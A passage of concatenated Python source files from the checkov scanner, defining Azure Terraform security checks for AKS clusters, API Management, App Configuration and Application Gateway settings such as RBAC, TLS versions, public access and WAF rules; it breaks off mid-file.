================================================ FILE: checkov/terraform/checks/resource/azure/AKSDashboardDisabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AKSDashboardDisabled(BaseResourceCheck): def __init__(self): name = "Ensure Kubernetes Dashboard is disabled" id = "CKV_AZURE_8" supported_resources = ['azurerm_kubernetes_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): addon_profile = conf.get('addon_profile') if addon_profile: addon_profile = addon_profile[0] self.evaluated_keys = ['addon_profile'] if addon_profile and isinstance(addon_profile, dict): dashboard = addon_profile.get('kube_dashboard', [[]])[0] if isinstance(dashboard, dict): if dashboard.get('enabled')[0]: self.evaluated_keys = ['addon_profile/kube_dashboard', 'addon_profile/kube_dashboard/[0]/enabled'] return CheckResult.FAILED return CheckResult.PASSED check = AKSDashboardDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSEnablesPrivateClusters.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class APIServicesUseVirtualNetwork(BaseResourceValueCheck): def __init__(self): name = "Ensure that AKS enables private clusters" id = "CKV_AZURE_115" supported_resources = ['azurerm_kubernetes_cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "private_cluster_enabled" check = APIServicesUseVirtualNetwork() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AKSEncryptionAtHostEnabled(BaseResourceCheck): def __init__(self) -> None: """ With host-based encryption, the data stored on the VM host of your AKS agent nodes' VMs is encrypted at rest and flows encrypted to the Storage service. This means the temp disks are encrypted at rest with platform-managed keys. The cache of OS and data disks is encrypted at rest with either platform-managed keys or customer-managed keys depending on the encryption type set on those disks. """ name = "Ensure that the AKS cluster encrypt temp disks, caches, and data flows " name += "between Compute and Storage resources" id = "CKV_AZURE_227" supported_resources = ("azurerm_kubernetes_cluster", "azurerm_kubernetes_cluster_node_pool") categories = (CheckCategories.KUBERNETES,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf) -> CheckResult: if self.entity_type == "azurerm_kubernetes_cluster": if conf.get('default_node_pool'): node_pool = conf['default_node_pool'][0] if (node_pool.get('enable_host_encryption') == [True] or node_pool.get('host_encryption_enabled') == [True]): return CheckResult.PASSED self.evaluated_keys = ['default_node_pool/[0]/enable_host_encryption', 'default_node_pool/[0]/host_encryption_enabled'] else: if conf.get('enable_host_encryption') == [True] or conf.get('host_encryption_enabled') == [True]: return CheckResult.PASSED self.evaluated_keys = ['enable_host_encryption', 'host_encryption_enabled'] return CheckResult.FAILED check = AKSEncryptionAtHostEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSEphemeralOSDisks.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class AKSEphemeralOSDisks(BaseResourceValueCheck): def __init__(self) -> None: """ Temporary data can contain sensitive data at some points, by using ephemeral disks, we ensure that data written to OS disk is stored on local VM storage and isn't persisted to Azure Storage Azure automatically replicates data stored in the managed OS disk of a virtual machine to Azure storage to avoid data loss in case the virtual machine needs to be relocated to another host. Generally speaking, containers are not designed to have local state persisted to the managed OS disk, hence this behavior offers limited value to AKS hosted while providing some drawbacks, including slower node provisioning and higher read/write latency. Ephemeral disks allow us also to have faster cluster operations like scale or upgrade due to faster re-imaging and boot times. """ name = "Ensure ephemeral disks are used for OS disks" id = "CKV_AZURE_226" supported_resources = ("azurerm_kubernetes_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "default_node_pool/[0]/os_disk_type" def get_expected_value(self) -> Any: return "Ephemeral" check = AKSEphemeralOSDisks() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSIsPaidSku.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AKSIsPaidSku(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that AKS use the Paid Sku for its SLA" # AKS clusters should have Uptime # SLA enabled to ensure availability # of control plane components # for production workloads. id = "CKV_AZURE_170" supported_resources = ("azurerm_kubernetes_cluster",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "sku_tier" def get_expected_value(self) -> Any: return "Standard" check = AKSIsPaidSku() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSLocalAdminDisabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AKSLocalAdminDisabled(BaseResourceValueCheck): def __init__(self): name = "Ensure AKS local admin account is disabled" id = "CKV_AZURE_141" supported_resources = ['azurerm_kubernetes_cluster'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "local_account_disabled" def get_expected_value(self): return True check = AKSLocalAdminDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSLoggingEnabled.py ================================================ import dpath from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AKSLoggingEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure AKS logging to Azure Monitoring is Configured" id = "CKV_AZURE_4" supported_resources = ['azurerm_kubernetes_cluster'] categories = [CheckCategories.KUBERNETES] self.provider_version_2_path = "addon_profile/[0]/oms_agent/[0]/enabled" self.provider_version_3_path = "oms_agent/[0]/log_analytics_workspace_id" super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if dpath.search(conf, self.provider_version_2_path): self.evaluated_keys = [self.provider_version_2_path] return super().scan_resource_conf(conf) elif dpath.search(conf, self.provider_version_3_path): self.evaluated_keys = [self.provider_version_3_path] return CheckResult.PASSED return CheckResult.FAILED def get_inspected_key(self) -> str: return self.provider_version_2_path check = AKSLoggingEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AKSMaxPodsMinimum(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods." id = "CKV_AZURE_168" supported_resources = ("azurerm_kubernetes_cluster", "azurerm_kubernetes_cluster_node_pool") categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: max_pods = 30 # default is 30 self.evaluated_keys = ["max_pods"] if "max_pods" in conf.keys() and isinstance(conf["max_pods"][0], int): max_pods = conf["max_pods"][0] if "default_node_pool" in conf.keys(): self.evaluated_keys = ["default_node_pool/max_pods"] pool = conf["default_node_pool"][0] if "max_pods" in pool.keys(): max_pods_list = pool["max_pods"] if max_pods_list and isinstance(max_pods_list, list) and isinstance(max_pods_list[0], int): max_pods = max_pods_list[0] if max_pods < 50: return CheckResult.FAILED return CheckResult.PASSED check = AKSMaxPodsMinimum() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSNetworkPolicy.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AKSNetworkPolicy(BaseResourceValueCheck): def __init__(self): name = "Ensure AKS cluster has Network Policy configured" id = "CKV_AZURE_7" supported_resources = ['azurerm_kubernetes_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'network_profile/[0]/network_policy' def get_expected_value(self): return ANY_VALUE check = AKSNetworkPolicy() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSNodePublicIpDisabled.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AKSNodePublicIpDisabled(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AKS cluster nodes do not have public IP addresses" id = "CKV_AZURE_143" supported_resources = ['azurerm_kubernetes_cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if 'default_node_pool' in conf: default_node_pool = conf['default_node_pool'][0] if isinstance(default_node_pool, dict): if default_node_pool.get('enable_node_public_ip') == [True] or default_node_pool.get('node_public_ip_enabled') == [True]: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['default_node_pool/[0]/enable_node_public_ip', 'default_node_pool/[0]/node_public_ip_enabled'] check = AKSNodePublicIpDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSOnlyCriticalPodsOnSystemNodes.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AKSOnlyCriticalPodsOnSystemNodes(BaseResourceValueCheck): def __init__(self) -> None: """ Microsoft recommends to isolate critical system pods from application pods to prevent misconfigured or rogue application pods from accidentally killing system pods. This can be enforced by creating a dedicated system node pool with the CriticalAddonsOnly=true:NoSchedule taint to prevent application pods from being scheduled on system node pools. """ name = "Ensure that only critical system pods run on system nodes" id = "CKV_AZURE_232" supported_resources = ("azurerm_kubernetes_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "default_node_pool/[0]/only_critical_addons_enabled" check = AKSOnlyCriticalPodsOnSystemNodes() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSPoolTypeIsScaleSet.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class AKSPoolTypeIsScaleSet(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets" id = "CKV_AZURE_169" supported_resources = ("azurerm_kubernetes_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "default_node_pool/[0]/type" def get_forbidden_values(self) -> list[Any]: return ["AvailabilitySet"] check = AKSPoolTypeIsScaleSet() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSRbacEnabled.py ================================================ import dpath from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AKSRbacEnabled(BaseResourceCheck): def __init__(self): name = "Ensure RBAC is enabled on AKS clusters" id = "CKV_AZURE_5" supported_resources = ["azurerm_kubernetes_cluster"] categories = [CheckCategories.KUBERNETES] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf): self.evaluated_keys = [ "role_based_access_control/[0]/enabled", # azurerm < 2.99.0 "role_based_access_control_enabled", # azurerm >= 2.99.0 ] for key in self.evaluated_keys: if dpath.search(conf, key): return CheckResult.PASSED if dpath.get(conf, key)[0] else CheckResult.FAILED return CheckResult.PASSED check = AKSRbacEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSSecretStoreRotation.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AkSSecretStoreRotation(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters" id = "CKV_AZURE_172" supported_resources = ("azurerm_kubernetes_cluster",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "key_vault_secrets_provider/secret_rotation_enabled" check = AkSSecretStoreRotation() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSUpgradeChannel.py ================================================ from __future__ import annotations from typing import Any, Dict, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AKSUpgradeChannel(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AKS cluster upgrade channel is chosen" id = "CKV_AZURE_171" supported_resources = ("azurerm_kubernetes_cluster",) categories = (CheckCategories.NETWORKING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if 'automatic_channel_upgrade' in conf: automatic_channel_upgrade = conf.get('automatic_channel_upgrade') if isinstance(automatic_channel_upgrade, list) and automatic_channel_upgrade != ['none']: return CheckResult.PASSED if 'automatic_upgrade_channel' in conf: automatic_upgrade_channel = conf.get('automatic_upgrade_channel') if isinstance(automatic_upgrade_channel, list) and automatic_upgrade_channel != ['none']: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['automatic_upgrade_channel', 'automatic_channel_upgrade'] check = AKSUpgradeChannel() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSUsesAzurePoliciesAddon.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AKSUsesAzurePoliciesAddon(BaseResourceCheck): def __init__(self): name = "Ensure that AKS uses Azure Policies Add-on" id = "CKV_AZURE_116" supported_resources = ['azurerm_kubernetes_cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: # since Azure provider v2.97.0 azure_policy_enabled = conf.get("azure_policy_enabled", [None])[0] if azure_policy_enabled: self.evaluated_keys = ["azure_policy_enabled"] return CheckResult.PASSED # up to and including Azure provider v2.96.0 self.evaluated_keys = ["addon_profile/[0]/azure_policy/[0]/enabled"] addon_profile = conf.get('addon_profile') if addon_profile: addon_profile = addon_profile[0] if addon_profile and isinstance(addon_profile, dict): azure_policy = addon_profile.get("azure_policy", [None])[0] if azure_policy and isinstance(azure_policy, dict) and azure_policy.get("enabled", [None])[0]: return CheckResult.PASSED return CheckResult.FAILED check = AKSUsesAzurePoliciesAddon() ================================================ FILE: checkov/terraform/checks/resource/azure/AKSUsesDiskEncryptionSet.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AKSUsesDiskEncryptionSet(BaseResourceValueCheck): def __init__(self): name = "Ensure that AKS uses disk encryption set" id = "CKV_AZURE_117" supported_resources = ['azurerm_kubernetes_cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return "disk_encryption_set_id" def get_expected_value(self): return ANY_VALUE check = AKSUsesDiskEncryptionSet() ================================================ FILE: checkov/terraform/checks/resource/azure/APIManagementBackendHTTPS.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class APIManagementBackendHTTPS(BaseResourceCheck): def __init__(self) -> None: name = "Ensure API management backend uses https" id = "CKV_AZURE_215" supported_resources = ("azurerm_api_management_backend",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["url"] url = conf.get("url") if url and isinstance(url, list): if "https" in url[0]: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN check = APIManagementBackendHTTPS() ================================================ FILE: checkov/terraform/checks/resource/azure/APIManagementCertsEnforced.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class APIManagementCertsEnforced(BaseResourceCheck): def __init__(self): name = "Ensure Client Certificates are enforced for API management" id = "CKV_AZURE_152" supported_resources = ['azurerm_api_management'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get('sku_name'): if conf['sku_name'] == ["Consumption"]: if conf.get('client_certificate_enabled'): if conf.get('client_certificate_enabled') == [True]: return CheckResult.PASSED self.evaluated_keys = ['/client_certificate_enabled/'] return CheckResult.FAILED return CheckResult.UNKNOWN check = APIManagementCertsEnforced() ================================================ FILE: checkov/terraform/checks/resource/azure/APIManagementMinTLS12.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class APIManagementMinTLS12(BaseResourceCheck): def __init__(self) -> None: name = "Ensure API management uses at least TLS 1.2" id = "CKV_AZURE_173" supported_resources = ("azurerm_api_management",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if conf.get('security'): security = conf['security'][0] if 'enable_back_end_ssl30' in security: if security['enable_back_end_ssl30'][0]: self.evaluated_keys = ['security/[0]/enable_back_end_ssl30'] return CheckResult.FAILED if 'enable_backend_tls10' in security: if security['enable_backend_tls10'][0]: self.evaluated_keys = ['security/[0]/enable_backend_tls10'] return CheckResult.FAILED if 'enable_frontend_ssl30' in security: if security['enable_frontend_ssl30'][0]: self.evaluated_keys = ['security/[0]/enable_frontend_ssl30'] return CheckResult.FAILED if 'enable_frontend_tls10' in security: if security['enable_frontend_tls10'][0]: self.evaluated_keys = ['security/[0]/enable_frontend_tls10'] return CheckResult.FAILED if 'enable_frontend_tls11' in security: if security['enable_frontend_tls11'][0]: self.evaluated_keys = ['security/[0]/enable_frontend_tls11'] return CheckResult.FAILED return CheckResult.PASSED check = APIManagementMinTLS12() ================================================ FILE: checkov/terraform/checks/resource/azure/APIManagementPublicAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class APIManagementPublicAccess(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure API management public access is disabled" id = "CKV_AZURE_174" supported_resources = ("azurerm_api_management",) categories = (CheckCategories.NETWORKING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_forbidden_values(self) -> list[Any]: return [True] check = APIManagementPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/APIServicesUseVirtualNetwork.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class APIServicesUseVirtualNetwork(BaseResourceValueCheck): def __init__(self): name = "Ensure that API management services use virtual networks" id = "CKV_AZURE_107" supported_resources = ['azurerm_api_management'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "virtual_network_configuration/[0]/subnet_id" def get_expected_value(self): return ANY_VALUE check = APIServicesUseVirtualNetwork() ================================================ FILE: checkov/terraform/checks/resource/azure/ActiveDirectoryUsedAuthenticationServiceFabric.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ActiveDirectoryUsedAuthenticationServiceFabric(BaseResourceValueCheck): def __init__(self): name = "Ensures that Active Directory is used for authentication for Service Fabric" id = "CKV_AZURE_126" supported_resources = ['azurerm_service_fabric_cluster'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "azure_active_directory/[0]/tenant_id" def get_expected_value(self): return ANY_VALUE check = ActiveDirectoryUsedAuthenticationServiceFabric() ================================================ FILE: checkov/terraform/checks/resource/azure/AppConfigEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class AppConfigEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure App configuration encryption block is set." id = "CKV_AZURE_186" supported_resources = ("azurerm_app_configuration",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "encryption/[0]/key_vault_key_identifier" def get_expected_value(self) -> Any: return ANY_VALUE check = AppConfigEncryption() ================================================ FILE: checkov/terraform/checks/resource/azure/AppConfigLocalAuth.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import List, Any class AppConfigLocalAuth(BaseResourceNegativeValueCheck): def __init__(self) -> None: """ Every request to an Azure App Configuration resource must be authenticated. By default, requests can be authenticated with either Azure Active Directory (Azure AD) credentials, or by using an access key. Of these two types of authentication schemes, Azure AD provides superior security and ease of use over access keys, and is recommended by Microsoft. """ name = "Ensure 'local_auth_enabled' is set to 'False'" id = "CKV_AZURE_184" supported_resources = ("azurerm_app_configuration",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "local_auth_enabled" def get_forbidden_values(self) -> List[Any]: return [True] check = AppConfigLocalAuth() ================================================ FILE: checkov/terraform/checks/resource/azure/AppConfigPublicAccess.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import List, Any class AppConfigPublicAccess(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure 'Public Access' is not Enabled for App configuration" id = "CKV_AZURE_185" supported_resources = ("azurerm_app_configuration",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_access" def get_forbidden_values(self) -> List[Any]: return ['Enabled'] check = AppConfigPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/AppConfigPurgeProtection.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppConfigPurgeProtection(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure App configuration purge protection is enabled" id = "CKV_AZURE_187" supported_resources = ("azurerm_app_configuration",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "purge_protection_enabled" check = AppConfigPurgeProtection() ================================================ FILE: checkov/terraform/checks/resource/azure/AppConfigSku.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class AppConfigSku(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure App configuration Sku is standard" id = "CKV_AZURE_188" supported_resources = ("azurerm_app_configuration",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "sku" def get_expected_value(self) -> Any: return "standard" check = AppConfigSku() ================================================ FILE: checkov/terraform/checks/resource/azure/AppGWDefinesSecureProtocols.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck BAD_CIPHERS = { "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_CBC_SHA256", "TLS_RSA_WITH_AES_128_CBC_SHA256", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 ", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256", "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 ", "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA", "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", } PROTOCOL_VERSIONS = {"TLSv1_2", "TLSv1_3"} class AppGWDefinesSecureProtocols(BaseResourceCheck): def __init__(self) -> None: """ https://azure.github.io/PSRule.Rules.Azure/en/rules/Azure.AppGw.SSLPolicy/ """ name = "Ensure Application Gateway defines secure protocols for in transit communication" id = "CKV_AZURE_218" supported_resources = ("azurerm_application_gateway",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: ssl_policy = conf.get("ssl_policy") if ssl_policy and isinstance(ssl_policy, list): ssl_policy = ssl_policy[0] policy_type = ssl_policy.get("policy_type") if policy_type and isinstance(policy_type, list): if policy_type[0] != "Predefined": protocol_version = ssl_policy.get("min_protocol_version") if ( protocol_version and isinstance(protocol_version, list) and protocol_version[0] in PROTOCOL_VERSIONS ): ciphers = ssl_policy.get("cipher_suites") if ciphers and isinstance(ciphers, list) and any(cipher in BAD_CIPHERS for cipher in ciphers[0]): self.evaluated_keys = ["ssl_policy/[0]/cipher_suites"] return CheckResult.FAILED return CheckResult.PASSED policy_name = ssl_policy.get("policy_name") if policy_name and isinstance(policy_name, list) and policy_name[0] == "AppGwSslPolicy20220101S": return CheckResult.PASSED self.evaluated_keys = ["ssl_policy/[0]/policy_name"] return CheckResult.FAILED self.evaluated_keys = ["ssl_policy"] return CheckResult.FAILED check = AppGWDefinesSecureProtocols() ================================================ FILE: checkov/terraform/checks/resource/azure/AppGWUseWAFMode.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AppGWUseWAFMode(BaseResourceCheck): def __init__(self): name = "Ensure that Application Gateway uses WAF in \"Detection\" or \"Prevention\" modes" id = "CKV_AZURE_122" supported_resources = ['azurerm_web_application_firewall_policy'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'policy_settings' in conf and conf['policy_settings'][0]: policy_settings = conf['policy_settings'][0] if 'enabled' in policy_settings and not policy_settings['enabled'][0]: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["policy_settings/[0]/enable"] check = AppGWUseWAFMode() ================================================ FILE: checkov/terraform/checks/resource/azure/AppGWUsesHttps.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppGWUsesHttps(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Azure Application gateways listener that allow connection requests over HTTP" id = "CKV_AZURE_217" supported_resources = ("azurerm_application_gateway",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_expected_value(self) -> str: return "Https" def get_inspected_key(self) -> str: return "http_listener/[0]/protocol" check = AppGWUsesHttps() ================================================ FILE: checkov/terraform/checks/resource/azure/AppGatewayWAFACLCVE202144228.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AppGatewayWAFACLCVE202144228(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell" id = "CKV_AZURE_135" supported_resources = ("azurerm_web_application_firewall_policy",) categories = (CheckCategories.APPLICATION_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: self.evaluated_keys = ["managed_rules"] managed_rules = conf.get("managed_rules") if managed_rules: managed_rule_sets = managed_rules[0].get("managed_rule_set") or [] for idx_rule_set, rule_set in enumerate(force_list(managed_rule_sets)): self.evaluated_keys = [ f"managed_rules/[0]/managed_rule_set[{idx_rule_set}]/type", f"managed_rules/[0]/managed_rule_set[{idx_rule_set}]/version", ] if rule_set.get("type", ["OWASP"]) == ["OWASP"] and rule_set.get("version") in (["3.1"], ["3.2"]): rule_overrides = rule_set.get("rule_group_override") or [] for idx_override, rule_override in 